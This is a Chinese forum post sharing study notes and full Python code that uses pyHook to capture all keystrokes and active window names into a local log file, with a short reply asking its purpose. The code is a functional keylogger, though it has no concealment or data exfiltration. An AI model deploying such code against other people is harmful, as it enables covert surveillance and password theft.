24小时热门版块排行榜    

Znn3bq.jpeg
查看: 554  |  回复: 1

mybag1

木虫 (正式写手)

[交流] pyhooks实现键盘监控学习心得 已有1人参与

pyhooks
下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
API手册:http://pyhook.sourceforge.net/doc_1.5.0/
        以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
        网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。
# -*- coding: cp936 -*-
import pythoncom  
import pyHook  
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):   
    global t,asciistr,keystr
    filename='d://test.txt'
    wrfile=open(filename,'ab')
    "处理键盘事件"
    if t==str(event.WindowName):
        asciistr=asciistr+chr(event.Ascii)
        keystr=keystr+str(event.Key)
        
    else:
        t=str(event.WindowName)
        if asciistr=='' and keystr=='':
            wrfile.writelines("\nWindow:%s\n" % str(event.Window))
            wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
            wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
            wrfile.writelines("Message:%d\n" % event.Message)
            wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
        else:
            wrfile.writelines("Ascii_char:%s\n" %asciistr)
            wrfile.writelines("Key_char:%s\n" %keystr)
            wrfile.writelines("\nWindow:%s\n" % str(event.Window))
            wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
            wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
        
        asciistr=chr(event.Ascii)
        keystr=str(event.Key)
    if str(event.Key)=='F12':  #按下F12后终止
        wrfile.writelines("Ascii_char:%s\n" %asciistr)
        wrfile.writelines("Key_char:%s\n" %keystr)
        wrfile.close()   
        win32api.PostQuitMessage()
        
    return True
   
   

if __name__ == "__main__":
    '''
小五义:http://www.cnblogs.com/xiaowuyi
'''

    #创建hook句柄  
    hm = pyHook.HookManager()  

    #监控键盘  
    hm.KeyDown = onKeyboardEvent  
    hm.HookKeyboard()  

    #循环获取消息  
    pythoncom.PumpMessages(10000)
回复此楼

» 猜你喜欢

» 本主题相关价值贴推荐,对您同样有帮助:

http://www.cnblogs.com/xiaowuyi
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

cenwanglai

荣誉版主 (知名作家)

老和山猥琐派九段

优秀版主


小木虫: 金币+0.5, 给个红包,谢谢回帖
请问键盘监控是做什么用的?
2楼2012-04-23 15:01:24
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
相关版块跳转 我要订阅楼主 mybag1 的主题更新
普通表情 高级回复 (可上传附件)
最具人气热帖推荐 [查看全部] 作者 回/看 最后发表
[考研] 296求调剂 +11 汪!?! 2026-04-09 12/600 2026-04-15 18:32 by AN流800
[考研] 284求调剂 +20 让我上岸吧阿西 2026-04-09 20/1000 2026-04-15 14:40 by 黑科技花岗岩
[考研] 一志愿鲁东大学071000生物学学硕初试分数276求调剂 +26 慕绝cc 2026-04-09 30/1500 2026-04-14 18:50 by 蔡苏阳
[考研] 272分材料子求调剂 +41 Loy0361 2026-04-10 54/2700 2026-04-14 18:00 by lhj2009
[考研] 290求调剂 +21 luoziheng 2026-04-10 23/1150 2026-04-14 15:49 by zs92450
[考研] 求调剂 +16 雪逢冬 2026-04-10 16/800 2026-04-14 14:27 by 逆水乘风
[考研] 302求调剂 +10 易!? 2026-04-13 10/500 2026-04-13 19:04 by lbsjt
[考研] 一志愿西交机械专硕求调剂 +9 求上岸的小王 2026-04-10 9/450 2026-04-13 16:08 by jiangguiquan11
[考研] 一志愿211 0703化学 346分求调剂 +26 土豆er? 2026-04-09 29/1450 2026-04-13 15:15 by 独醉梦孤城
[考研] 一志愿双非085400电子信息344 求调剂,对材料和化学方向也感兴趣 +12 无情的小羊 2026-04-09 13/650 2026-04-13 14:17 by 张zhihao
[考研] 一志愿华中农微生物,288分,三年实验经历 +11 代fish 2026-04-09 11/550 2026-04-12 10:21 by Hayaay
[考研] 291求调剂 +8 关忆北. 2026-04-11 8/400 2026-04-12 09:32 by 逆水乘风
[考研] 283求调剂 086004考英二数二 +17 那个噜子 2026-04-10 18/900 2026-04-11 16:27 by 明月此时有
[考研] 0854调剂 +8 950824he@ 2026-04-09 8/400 2026-04-11 10:11 by zhq0425
[考研] 083200 305分 求二轮调剂 不接受跨专业 +9 Claireyyyy 2026-04-09 10/500 2026-04-10 21:21 by Claireyyyy
[考研] 一志愿京区985,085401电子信息,本科电子信息 +3 阳光开朗的男孩 2026-04-10 3/150 2026-04-10 16:29 by sophia_93
[考研] 301求调剂 +5 149. 2026-04-10 5/250 2026-04-10 15:45 by 柴小白
[考研] 282,电气工程专业,求调剂,不挑专业 +9 jggshjkkm 2026-04-10 9/450 2026-04-10 14:55 by 逆水乘风
[考研] 一志愿中科大070300化学,314分求调剂 +12 wakeluofu 2026-04-09 12/600 2026-04-10 09:57 by liuhuiying09
[考研] 本科西工大 0856 324求调剂 +10 wysyjs25 2026-04-09 11/550 2026-04-10 08:37 by 5268321
信息提示
请填处理意见